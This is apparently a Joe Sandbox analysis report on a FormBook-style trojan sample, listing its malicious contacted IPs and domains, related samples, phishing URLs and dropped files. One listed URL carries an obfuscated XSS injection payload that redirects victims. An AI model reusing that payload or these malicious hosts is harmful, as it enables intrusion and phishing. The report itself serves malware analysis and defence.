https://aka.ms/pscore68	powershell.exe, 00000009.00000002.1563610198.000001CE11B91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000009.00000002.1563610198.000001CE11B91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	chkdsk.exe, 00000017.00000002.3768673482.0000000009A38000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.strato.de	KAnMKAQhHABqpRuDRpLtww.exe, 00000018.00000002.3766204817.0000000003C8C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
103.168.172.37	www.celebration24.co.uk	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	true
104.37.39.71	www.gledingakademiet.no	Denmark	51468	ONECOMDK	true
217.160.0.111	carliente.com	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
162.0.237.22	www.deaybrid.info	Canada	22612	NAMECHEAP-NETUS	true
162.241.216.140	lenslaser.com	United States	46606	UNIFIEDLAYER-AS-1US	true
91.195.240.123	www.walletweb367.top	Germany	47846	SEDO-ASDE	true
3.33.130.190	dty377.com	United States	8987	AMAZONEXPANSIONGB	true
57.151.38.169	allinonestore-567794-react-native.b567794.prod.eastus.az.svc.builder.ai	Belgium	2686	ATGS-MMD-ASUS	true
199.59.243.225	www.zwervertjes.be	United States	395082	BODIS-NJUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1442718
Start date and time:	2024-05-16 17:17:16 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Factura (3).exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@17/15@15/9
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 88% Number of executed functions: 87 Number of non-executed functions: 320
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, ctldl.windowsupdate.com.delivery.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: Factura (3).exe

Simulations

Behavior and APIs

Time	Type	Description
11:18:10	API Interceptor	56x Sleep call for process: powershell.exe modified
11:18:28	API Interceptor	1x Sleep call for process: WerFault.exe modified
11:19:09	API Interceptor	9853848x Sleep call for process: chkdsk.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
103.168.172.37	PO0424024.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.celebration24.co.uk/pq0o/
104.37.39.71	rQuotationRequestandProductAvailabilityForm.exe	Get hash	malicious	FormBook	Browse	www.gledingakademiet.no/pshj/
217.160.0.111	JUSTIFICANTE DE PAGO 18903547820000.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.carliente.com/ntpp/
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	FormBook	Browse	www.carliente.com/3g97/?iJdtI=UBp4nvRH&-b=pss1I4hPKcXAgTePnemGc7FXasx9qfjLrlXUMEqkxJwN3Lu9fPUDc8IPlpsJO9uNl7TAjBTqm2QSFPkGLslIPQEm/bcAIhxallCZA6vttiGmo3Ak8A==
	kargonuzu do#U011frulay#U0131n_05082024-Ref_#0123647264823.exe	Get hash	malicious	FormBook	Browse	www.carliente.com/ve3w/
	NHhH776.exe	Get hash	malicious	FormBook	Browse	www.carliente.com/ve3w/
	shipping document.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.carliente.com/3g97/
	listXofXP.O.doc	Get hash	malicious	FormBook	Browse	www.andrewcrawford.store/q8io/?O4883=HXFtJZVPfNB0&-ZEHgzPx=9NBY9KXzWN9RAeS5ibqsEdeev5FWFMIFtZ8Uab8Ez6YdQ5xfInqB1smFejio0oqmJamksA==
162.0.237.22	WaybillDoc_43948767.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.shevgin.top/gzu1/
	JUSTIFICANTE DE PAGO 18903547820000.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.falstru.xyz/ntpp/
	Order Items.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.crimsoncascade.xyz/a42m/
	Liste d'inventaire.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.astralavenue.xyz/bp6u/
	RCoAOiAqk7.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.crimsoncascade.xyz/a42m/
	098754345678.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.falstru.xyz/z912/
	MBL Draft-Shipment Documents.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.crimsoncascade.xyz/a42m/
	Transaction advice.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.astralavenue.xyz/bp6u/
	Credit confirmation.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.crimsoncascade.xyz/a42m/
	ai1qjpaw6l.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.crimsoncascade.xyz/a42m/
162.241.216.140	rQuotationRequestandProductAvailabilityForm.exe	Get hash	malicious	FormBook	Browse	www.lenslaser.com/pshj/
	kargonuzu do#U011frulay#U0131n_05082024-Ref_#0123647264823.exe	Get hash	malicious	FormBook	Browse	www.lenslaser.com/ve3w/
	Inv 070324.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.lenslaser.com/f8eq/
	NHhH776.exe	Get hash	malicious	FormBook	Browse	www.lenslaser.com/ve3w/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.gledingakademiet.no	rQuotationRequestandProductAvailabilityForm.exe	Get hash	malicious	FormBook	Browse	104.37.39.71
allinonestore-567794-react-native.b567794.prod.eastus.az.svc.builder.ai	4333.exe	Get hash	malicious	DBatLoader, FormBook	Browse	57.151.38.169
	RE Draft BL for BK#440019497 REF#388855.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	57.151.38.169
	kargonuzu do#U011frulay#U0131n_05082024-Ref_#0123647264823.exe	Get hash	malicious	FormBook	Browse	57.151.38.169
	NHhH776.exe	Get hash	malicious	FormBook	Browse	57.151.38.169
www.deaybrid.info	Order confirmation F20 - 011 PURCHASE ORDER.scr.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	162.0.237.22
bg.microsoft.map.fastly.net	https://url2.mailanyone.net/scanner?m=1s6pIE-0001ll-4b&d=4%7Cmail%2F90%2F1715682000%2F1s6pIE-0001ll-4b%7Cin2m%7C57e1b682%7C17902772%7C12174482%7C66433B46FD7D477758F95ED72A0CFF20&o=%2Fphte%3A%2Fxtswezc.9cp.12%2Fcon1ujmr%2Fs&s=sBgYgmAjxDPYLIi3UWk9augppQo	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://www.canva.com/design/DAGDIK1pPgI/L2u9cBJTl10MeMf9RARY1g/view?utm_content=DAGDIK1pPgI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://achievementfirst.org/?s=%22%3E%3Ciframe%20src%3Djavascript%3A%2F%2Afd7%C2%A7Other.everywhere1%5Dforiginal%C2%A7style%2A%2FcodeString%3D%60win%60%2B%60dow.par%60%2B%60ent.docu%60%2B%60ment.docu%60%2B%60mentEle%60%2B%60ment.st%60%2B%60yle.opa%60%2B%60city%3D0%3Burl%3D%5B66%2C94%2C94%2C90%2C89%2C16%2C5%2C5%2C93%2C93%2C93%2C4%2C93%2C66%2C94%2C79%2C68%2C92%2C70%2C90%2C79%2C4%2C73%2C69%2C71%2C5%2C75%2C73%2C126%2C73%2C70%2C24%2C65%2C126%2C71%2C122%2C121%2C96%2C67%2C117%2C102%2C78%2C117%2C71%2C66%2C90%2C102%2C83%2C98%2C99%2C127%2C104%2C69%2C96%2C117%2C101%2C71%2C104%2C105%2C91%2C69%2C68%2C77%2C127%2C80%2C97%2C101%2C19%2C123%2C117%2C70%2C122%2C68%2C123%2C92%2C80%2C112%2C115%2C99%2C103%2C66%2C19%2C83%2C105%2C103%2C112%2C127%2C94%2C30%2C110%2C25%2C122%2C29%2C24%2C89%2C108%2C96%2C102%2C71%2C93%2C64%2C25%2C72%2C31%2C126%2C31%2C83%2C98%2C120%2C66%2C107%2C93%2C84%2C84%2C5%2C27%2C29%2C5%2C27%2C27%2C27%2C27%2C30%2C31%2C27%2C26%2C%5D%3B%2F%2Afwef%5B~7el~wefwef%C2%A73000zwefwef%C2%A73000zb%2A%2Fwin%60%2B%60dow.par%60%2B%60ent.loca%60%2B%60tion.hr%60%2B%60ef%3Durl.map%28value%3D%60%2BString.fromCharCode%2862%29%2B%60String.fromCharCode%28value%5E63%29%29.jo%60%2B%60in%28%27%27%29.concat%28%27%23%27%29%3B%2F%2Achw%C2%A7%C2%A7%C2%A7chw.toUpUpDown%28%29%2A%2F%60%3BcodeString%3DcodeString.replaceAll%28%60salooa%60%2C%60azefcr%60%29%3BexecuteCode%3DFunction%28codeString%29%3B%2F%2Athat~ovrir~sleep.over%C2%A7%2A%2FexecuteCode%28	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://expodat.com	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://bro0.trusthalloween.com/code/mizweojtg45ha3ddf42dsnbx	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://trackmenow.life	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://bro0.trusthalloween.com/code/mizweojtg45ha3ddf42dsnbx	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://bafybeif5tiihzpzpshrmm6wcckxacabqz3wsd327oankr4xtedhk5ra5fq.ipfs.storry.tv/#investmentscomms@momentum.co.za	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	https://drive.google.com/file/d/1uToOl05w32NfjukowyiNWKRTGJp3X8zq/view?usp=drive_web	Get hash	malicious	Unknown	Browse	199.232.214.172
	Solicitud de oferta.xlsx.vbs	Get hash	malicious	Unknown	Browse	199.232.210.172
www.celebration24.co.uk	PO0424024.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	103.168.172.37
www.zwervertjes.be	Order confirmation F20 - 011 PURCHASE ORDER.scr.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	199.59.243.225

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ONEANDONE-ASBrauerstrasse48DE	WaybillDoc_43948767.exe	Get hash	malicious	FormBook, GuLoader	Browse	213.171.195.105
	HJTS4RpK4H.elf	Get hash	malicious	Mirai	Browse	82.223.92.206
	JUSTIFICANTE DE PAGO 18903547820000.exe	Get hash	malicious	FormBook, GuLoader	Browse	217.160.0.111
	SHIPMENT ARRIVAL NOTICE.exe	Get hash	malicious	FormBook	Browse	213.171.195.105
	INVOICE-#0000898876-PDF.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	212.227.172.253
	file2.js	Get hash	malicious	Unknown	Browse	217.160.0.87
	vm6XYZzWOd.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse	74.208.236.63
	RFQ-25251.scr.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	217.76.128.34
	G7DzDN2VcB.exe	Get hash	malicious	FormBook	Browse	213.171.195.105
	file.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	217.160.0.46
NAMECHEAP-NETUS	http://cytechltd.net/blueridgesupport	Get hash	malicious	Unknown	Browse	198.54.126.119
	WaybillDoc_43948767.exe	Get hash	malicious	FormBook, GuLoader	Browse	162.0.237.22
	17158441246d37802f97c2611e248b49702f7346b2788831fc8c7e217b8fb1e2cb7dbf2dad677.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	198.54.122.135
	JUSTIFICANTE DE PAGO 18903547820000.exe	Get hash	malicious	FormBook, GuLoader	Browse	162.0.237.22
	detalle_transferencia_2024-05-13T064143.173 0200_3049280002017526_PDF.vbs	Get hash	malicious	AgentTesla	Browse	198.54.122.135
	SHIPPING DOCUMENTS.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	199.188.205.52
	Order Items.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	63.250.43.147
	Liste d'inventaire.exe	Get hash	malicious	FormBook, GuLoader	Browse	162.0.237.22
	https://www.solarpanelguide.info/dalil/oi/	Get hash	malicious	Unknown	Browse	198.54.120.50
	RCoAOiAqk7.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	63.250.43.147
AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	B9N53jcurM.elf	Get hash	malicious	Gafgyt	Browse	103.161.35.44
	a-r.m-5.ISIS.elf	Get hash	malicious	Gafgyt	Browse	103.162.20.51
	r702440_240425170057.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	103.174.153.171
	35nGn066aD.elf	Get hash	malicious	Gafgyt	Browse	103.161.35.44
	x86_huawei	Get hash	malicious	Gafgyt, Mirai	Browse	157.85.146.17
	SHIPPING DOCUMENTS.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	103.179.86.114
	G7DzDN2VcB.exe	Get hash	malicious	FormBook	Browse	103.163.138.82
	1ydkC50QfI.elf	Get hash	malicious	Mirai	Browse	144.205.148.18
	3bmkUo9WvY.elf	Get hash	malicious	Mirai	Browse	103.166.51.171
	TS-240514-UF2.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	103.163.138.82
UNIFIEDLAYER-AS-1US	https://url2.mailanyone.net/scanner?m=1s7NQF-0009d9-4F&d=4%7Cmail%2F90%2F1715812800%2F1s7NQF-0009d9-4F%7Cin2l%7C57e1b682%7C17902772%7C12174482%7C66453BBFED9CEC27B4A5B1EE4BAEC741&o=lphtm%2F%2Fet%3A.iacooscpsdgm%2Fxinep%2Flmth.&s=S-SHEBwUOIgNBDtbzozNFySq_XU	Get hash	malicious	Unknown	Browse	192.185.98.141
	tesla_243.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	192.185.166.221
	https://url2.mailanyone.net/scanner?m=1s6rPP-0008sd-4C&d=4%7Cmail%2F90%2F1715689800%2F1s6rPP-0008sd-4C%7Cin2j%7C57e1b682%7C28613012%7C14303582%7C66435B0BE2CD9AF5D6544C1223A918D6&o=%2Fphtu%3A%2Fptsacblmus.i-mdktcnai.ypos.%2F%2Faicm5sor35feg%2Fa-5ce90-285-f10f8-1963002105daD%2Fc%2FVUdIrElEDsAARo5yA9IeAgIAxRtaA%3F%25ge%3Dtrr27BeTag%252%25ltUA223r%25sh%2522tp%252tF%2553252%25A2wh52tghsFuorew%25.cmat2F252s%2552h%252F%2522C22%25tiRepecOdr2nti3%252%25os5BA%25222%257%25lA2%252ul%253n22C%253%252%2521DlAn7%257%25ultiD%26zes%3Ddg1XyrCPui1PH6vX5ow9XSBON05ZyjxwBE%2527%252bBp3GYb%26s%25DxfersestVrce7%3Dio9585nabd7b3d4ab263bb84fd43ee51eb&s=jhUhAkCpAiNjYs9SORDRIQdvPh0	Get hash	malicious	HTMLPhisher	Browse	108.167.181.85
	https://docs.google.com/drawings/d/1NvhHuECLQF-PWMkByVuD9aUG5sEbeSN6j9ffcNo0BK4/preview	Get hash	malicious	Unknown	Browse	162.240.175.185
	https://gamma.app/docs/Shared-Notice-and-Email-Disclaimers-6aqig6w4unouiqo?mode=present#card-cngszya3osgcwyj	Get hash	malicious	HTMLPhisher	Browse	192.185.143.203
	http://goingovertown.org/Blog.php?mc_cid=8253dd19f4&mc_eid=UNIQID	Get hash	malicious	Unknown	Browse	162.241.216.50
	https://opodo.onelink.me/RnQA?pid=CRM&af_adset=email&af_ad=crm_nl_PDA_SneakPeek_NP_X_290124__&is_retargeting=true&af_dp=op-app%3A%2F%2Flaunch%2F%3futm_content%3dUL_hero%26utm_source%3dsf%26utm_medium%3dcrm%26utm_campaign%3dnl%26utm_term%3dXX-XX-CRM-E-NL-PDA-FL-X-NP_PrimeDay8_NonPrime_SneakPeekAPP_290124_Render_435150%26mktportal%3dNL&af_web_dp=https://pcc.zemmz.com/closer/8070/new/new/dvader@hinckleyallen.com##	Get hash	malicious	Unknown	Browse	162.241.192.189
	Maersk Arrival Notice ready for Bill of Lading 238591458-393747337-837473734-283473743.exe	Get hash	malicious	FormBook	Browse	162.214.77.4
	Quotation_#432768#_pdf.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	108.179.234.136
	AWB#150322.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	50.87.253.239
ONECOMDK	vm6XYZzWOd.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse	77.111.240.163
	rCheq0004783.bat	Get hash	malicious	FormBook, GuLoader	Browse	46.30.211.38
	Chq book 004237.vbe	Get hash	malicious	FormBook, GuLoader	Browse	46.30.211.38
	o8JSCMaz7d.exe	Get hash	malicious	FormBook	Browse	46.30.213.191
	https://www.snookerandpoolservices.co.uk/wp-admin/user/dd.php	Get hash	malicious	Unknown	Browse	46.30.213.169
	rQuotationRequestandProductAvailabilityForm.exe	Get hash	malicious	FormBook	Browse	104.37.39.71
	Forligsmnd.exe	Get hash	malicious	FormBook, GuLoader	Browse	46.30.211.38
	Document 151-512024.exe	Get hash	malicious	FormBook	Browse	46.30.213.191
	150-425-2024.exe	Get hash	malicious	FormBook	Browse	46.30.213.191
	SecuriteInfo.com.W32.AutoIt.YE.gen.Eldorado.12126.13851.exe	Get hash	malicious	FormBook	Browse	46.30.213.191

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_powershell.exe_ffe1da0279efac7f4e4b345ee23c42a8f6b5b2d_e3b0f337_eea0d557-494a-4ceb-8911-97ffcb0b36bc\Report.wer

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.5474212186830443
Encrypted:	false
SSDEEP:	192:+jS0zmGPpn0AcannjaVTyoo85WlXxUJlzuiF5Z24lO8n:30CGPKATnnj+TH5gXxULzuiF5Y4lO8n
MD5:	08DC534C411AD21E504431B89C290386
SHA1:	7F06C1E91160574A744B87CC48F6FE42B6AAD0D9
SHA-256:	F63C2FAA0DC6D4E1D91F6C5D3A56CC21CBF0F3DE63536D5A1D573585372DDE73
SHA-512:	FE0956891B9FAEBF5D306BC49D8FF5C71946541AEFFDE83EB335FA67CD59E62C2700B632B3DC4894FD59E92BCC33D404EC9D17E25A4D166B76483E37BFC1C8BD
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.0.3.4.6.2.9.8.8.9.7.9.5.1.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.0.3.4.6.3.0.2.3.3.5.4.5.5.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.e.a.0.d.5.5.7.-.4.9.4.a.-.4.c.e.b.-.8.9.1.1.-.9.7.f.f.c.b.0.b.3.6.b.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.d.8.4.2.f.b.b.-.6.6.9.e.-.4.0.2.2.-.a.f.5.7.-.3.4.7.3.9.4.4.9.2.7.9.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.p.o.w.e.r.s.h.e.l.l...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.o.w.e.r.S.h.e.l.l...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.4.4.-.0.0.0.1.-.0.0.1.4.-.a.f.8.1.-.6.9.3.f.a.4.a.7.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.f.4.3.d.9.b.b.3.1.6.e.3.0.a.e.1.a.3.4.9.4.a.c.5.b.0.6.2.4.f.6.b.e.a.1.b.f.0.5.4.!.p.o.w.e.r.s.h.e.l.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8AA.tmp.WERInternalMetadata.xml

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8634
Entropy (8bit):	3.7060386100256015
Encrypted:	false
SSDEEP:	192:R6l7wVeJ4q16YWpRgmfZaw9wIprw89bptUfACjm:R6lXJ116Y4RgmfQwS4pef4
MD5:	E5641796997B8E3691CC1357FC74ABAA
SHA1:	AB212BBFB601338B3123CE83976030404FF655A7
SHA-256:	48BE0EF6C6F1F08593938EBE40DAD6D372B9D9BD323649DC5C216A9E38594ECB
SHA-512:	A516EC52246F8E5E7BE461BA349F65F1493FC3E88C6A8148703744BE3325AC0073CBC6B55720C40539770192CBDA276861A5EA9D675724C8690B8090C218715C
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.4.9.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8DA.tmp.xml

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4831
Entropy (8bit):	4.500052590875375
Encrypted:	false
SSDEEP:	48:cvIwWl8zsvJg771I92BWpW8VYvYm8M4JQ9ExFgfyq8vlEPytfDd:uIjfRI7xQ7VjJQW0fW+PufDd
MD5:	1F5AD32E818E6C07F6DFE331AA3892F9
SHA1:	B5CB35F8411D98EA2AA1C4C1BB321D1E989436CC
SHA-256:	3510BD5B59BAF105BEE3171D6D1CD7B5B9CB97DD90E1B1EFFF03B01D20FAC069
SHA-512:	497D460A92EEE778614B01342F26B1CC709C0019E6CB327DB3DAA876FF0A3F5FF9B8CF20A1C08717B47C52C8A01BAF05783DCFA516375F6E391578CE486979A9
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="325821" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFCB2.tmp.dmp

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu May 16 15:18:21 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	825760
Entropy (8bit):	3.3715716821356314
Encrypted:	false
SSDEEP:	6144:fD3W6xrL+iAHqcD0SPa3Q802hrz9P1QqeJFh9TBQ+NcWc:fzWgmi4qa0SyQ8BhrzpWzJxTK+N1
MD5:	C8E8A1893EBD1C61DBD483A05D79EADD
SHA1:	3D9BAC22D11EC378707D8EBDC39F7E6513751FBF
SHA-256:	4A3BEF2C97C905E63DD2794BD5E69F8EBE259D5D51CBC1422EFD27D7332F17D2
SHA-512:	1B803C393799838118302336C7365CDC9D8DA52B9C167F73B5F5ABB1E457DA1FA37F0588B7009CA5C49F5CB838D2D4BCEBF3ABD1B6412BDB8F318B856E43C3CA
Malicious:	false
Preview:	MDMP..a..... ........#Ff........................\)...........)..d4.....................`.......8...........T............c...6..........H^..........4`..............................................................................eJ.......`......Lw......................T.......D....#Ff.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.0818136700495735
Encrypted:	false
SSDEEP:	3:Nlllulrlgll//Z:NllUml
MD5:	BCE202BE96167104C292ABBA72DDA325
SHA1:	2F7A5938BD57E9769440EDF0B6700DD001DF7AC6
SHA-256:	680BC38EEF1B5175C4E728CEA436662498DC7F8E5570CBA66D7F9627AC0A0AEE
SHA-512:	195CAC106561793B62A216DA442AA663BDEDCDFCA2920848583880B25489E03888AF732B6F07834DB3A4E892F24020CC8E2C37D54F1B61F20BEEFCCDB38F0189
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\2E85-1J297

Process:	C:\Windows\SysWOW64\chkdsk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1221538113908904
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:r2qOB1nxCkvSAELyKOMq+8ETZKoxAX
MD5:	C1AE02DC8BFF5DD65491BF71C0B740A7
SHA1:	6B68C7B76FB3D1F36D6CF003C60B1571C62C0E0F
SHA-256:	CF2E96737B5DDC980E0F71003E391399AAE5124C091C254E4CCCBC2A370757D7
SHA-512:	01F8CA51310726726B0B936385C869CDDBC9DD996B488E539B72C580BD394219774C435482E618D58EB8F08D411411B63912105E4047CB29F845B2D07DE3E0E1
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3y5t5afe.t31.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
